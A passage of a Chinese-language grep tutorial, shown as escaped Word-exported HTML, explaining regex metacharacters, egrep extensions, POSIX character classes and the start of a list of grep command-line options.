lang="EN"&gt;rep&lt;/span&gt;的行。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;\(..\)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;标记匹配字符，如&lt;span lang="EN"&gt;'\(love\)'&lt;/span&gt;，&lt;span lang="EN"&gt;love&lt;/span&gt;被标记为&lt;span lang="EN"&gt;1&lt;/span&gt;。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;\&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;锚定单词的开始，如&lt;span lang="EN"&gt;:'\&amp;lt;grep'&lt;/span&gt;匹配包含以&lt;span lang="EN"&gt;grep&lt;/span&gt;开头的单词的行。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;\&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;锚定单词的结束，如&lt;span lang="EN"&gt;'grep\&amp;gt;'&lt;/span&gt;匹配包含以&lt;span lang="EN"&gt;grep&lt;/span&gt;结尾的单词的行。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;x\{m\}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;重复字符&lt;span lang="EN"&gt;x&lt;/span&gt;，&lt;span lang="EN"&gt;m&lt;/span&gt;次，如：&lt;span lang="EN"&gt;'0\{5\}'&lt;/span&gt;匹配包含&lt;span lang="EN"&gt;5&lt;/span&gt;个&lt;span lang="EN"&gt;o&lt;/span&gt;的行。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;x\{m,\}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;重复字符&lt;span lang="EN"&gt;x,&lt;/span&gt;至少&lt;span lang="EN"&gt;m&lt;/span&gt;次，如：&lt;span lang="EN"&gt;'o\{5,\}'&lt;/span&gt;匹配至少有&lt;span lang="EN"&gt;5&lt;/span&gt;个&lt;span lang="EN"&gt;o&lt;/span&gt;的行。 &lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;x\{m,n\}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;重复字符&lt;span lang="EN"&gt;x&lt;/span&gt;，至少&lt;span lang="EN"&gt;m&lt;/span&gt;次，不多于&lt;span lang="EN"&gt;n&lt;/span&gt;次，如：&lt;span lang="EN"&gt;'o\{5,10\}'&lt;/span&gt;匹配&lt;span lang="EN"&gt;5--10&lt;/span&gt;个&lt;span lang="EN"&gt;o&lt;/span&gt;的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;\w&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配文字和数字字符，也就是&lt;span lang="EN"&gt;[A-Za-z0-9]&lt;/span&gt;，如：&lt;span lang="EN"&gt;'G\w*p'&lt;/span&gt;匹配以&lt;span lang="EN"&gt;G&lt;/span&gt;后跟零个或多个文字或数字字符，然后是&lt;span lang="EN"&gt;p&lt;/span&gt;。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;\W&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span lang="EN"  style="font-size:12;"&gt;\w&lt;/span&gt;&lt;/span&gt;的反置形式，匹配一个或多个非单词字符，如点号句号等。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;\b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;单词锁定符，如&lt;span lang="EN"&gt;: '\bgrepb\'&lt;/span&gt;只匹配&lt;span lang="EN"&gt;grep&lt;/span&gt;。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a name="id2810118"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:180%;color:black;"&gt;&lt;span lang="EN"  style="font-size:18;"&gt;3. &lt;/span&gt;&lt;/span&gt;&lt;/b&gt;用于&lt;span lang="EN"&gt;egrep&lt;/span&gt;和&lt;span lang="EN"&gt; grep -E&lt;/span&gt;的元字符扩展集&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;+&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配一个或多个先前的字符。如：&lt;span lang="EN"&gt;'[a-z]+able'&lt;/span&gt;，匹配一个或多个小写字母后跟&lt;span lang="EN"&gt;able&lt;/span&gt;的串，如&lt;span lang="EN"&gt;loveable,enable,disable&lt;/span&gt;等。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;?&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配零个或多个先前的字符。如：&lt;span lang="EN"&gt;'gr?p'&lt;/span&gt;匹配&lt;span lang="EN"&gt;gr&lt;/span&gt;后跟一个或没有字符，然后是&lt;span lang="EN"&gt;p&lt;/span&gt;的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;a|b|c&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;匹配&lt;span lang="EN"&gt;a&lt;/span&gt;或&lt;span lang="EN"&gt;b&lt;/span&gt;或&lt;span lang="EN"&gt;c&lt;/span&gt;。如：&lt;span lang="EN"&gt;grep|sed&lt;/span&gt;匹配&lt;span lang="EN"&gt;grep&lt;/span&gt;或&lt;span lang="EN"&gt;sed&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;分组符号，如：&lt;span lang="EN"&gt;love(able|rs)ov+&lt;/span&gt;匹配&lt;span lang="EN"&gt;loveable&lt;/span&gt;或&lt;span lang="EN"&gt;lovers&lt;/span&gt;，匹配一个或多个&lt;span lang="EN"&gt;ov&lt;/span&gt;。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;x{m},x{m,},x{m,n}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;作用同&lt;span lang="EN"&gt;x\{m\},x\{m,\},x\{m,n\}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a name="id2810221"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:180%;color:black;"&gt;&lt;span lang="EN"  style="font-size:18;"&gt;4. POSIX&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;字符类&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;为了在不同国家的字符编码中保持一至，&lt;span lang="EN"&gt;POSIX(The Portable Operating System Interface)&lt;/span&gt;增加了特殊的字符类，如&lt;span lang="EN"&gt;[:alnum:]&lt;/span&gt;是&lt;span lang="EN"&gt;A-Za-z0-9&lt;/span&gt;的另一个写法。要把它们放到&lt;span lang="EN"&gt;[]&lt;/span&gt;号内才能成为正则表达式，如&lt;span lang="EN"&gt;[A-Za-z0-9]&lt;/span&gt;或&lt;span lang="EN"&gt;[[:alnum:]]&lt;/span&gt;。在&lt;span lang="EN"&gt;linux&lt;/span&gt;下的&lt;span lang="EN"&gt;grep&lt;/span&gt;除&lt;span lang="EN"&gt;fgrep&lt;/span&gt;外，都支持&lt;span lang="EN"&gt;POSIX&lt;/span&gt;的字符类。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:alnum:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;文字数字字符&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:alpha:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;文字字符&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:digit:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;数字字符&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:graph:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;非空字符（非空格、控制字符）&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:lower:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;小写字符&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:cntrl:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;控制字符&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:print:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;非空字符（包括空格）&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:punct:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;标点符号&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:space:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;所有空白字符（新行，空格，制表符）&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:upper:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;大写字符&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;[:xdigit:]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;十六进制数字（&lt;span lang="EN"&gt;0-9&lt;/span&gt;，&lt;span lang="EN"&gt;a-f&lt;/span&gt;，&lt;span lang="EN"&gt;A-F&lt;/span&gt;）&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;h2&gt;&lt;a name="id2810436"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="font-family:宋体;font-size:180%;color:black;"&gt;&lt;span lang="EN"  style="font-size:18;"&gt;5. Grep&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;命令选项&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/h2&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-?&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;同时显示匹配行上下的？行，如：&lt;span lang="EN"&gt;grep -2 pattern filename&lt;/span&gt;同时显示匹配行的上下&lt;span lang="EN"&gt;2&lt;/span&gt;行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-b&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--byte-offset&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;打印匹配行前面打印该行所在的块号码。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-c,--count&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;只打印匹配的行数，不显示匹配的内容。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-f File&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--file=File&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;从文件中提取模板。空文件中包含&lt;span lang="EN"&gt;0&lt;/span&gt;个模板，所以什么都不匹配。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-h&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--no-filename&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;当搜索多个文件时，不显示匹配文件名前缀。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--ignore-case&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;忽略大小写差别。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-q&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--quiet&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;取消显示，只返回退出状态。&lt;span lang="EN"&gt;0&lt;/span&gt;则表示找到了匹配的行。&lt;span lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="term"&gt;&lt;span style="font-family:Times New Roman;font-size:85%;"&gt;&lt;span lang="EN"  style="font-size:10;"&gt;-l&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span style="font-family:宋体;"&gt;&lt;span style="font-family:宋体;"&gt;，&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="term"&gt;&lt;span lang="EN"&gt;--files-with-matches&lt;/span&gt;&lt;/span&gt;&lt;span lang="EN"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p style="margin-left: 36pt;"&gt;&lt;span style="font-family:宋体;font-size:100%;color:black;"&gt;&lt;span style="font-size:12;"&gt;打印匹配模板的文件清单。&lt;span 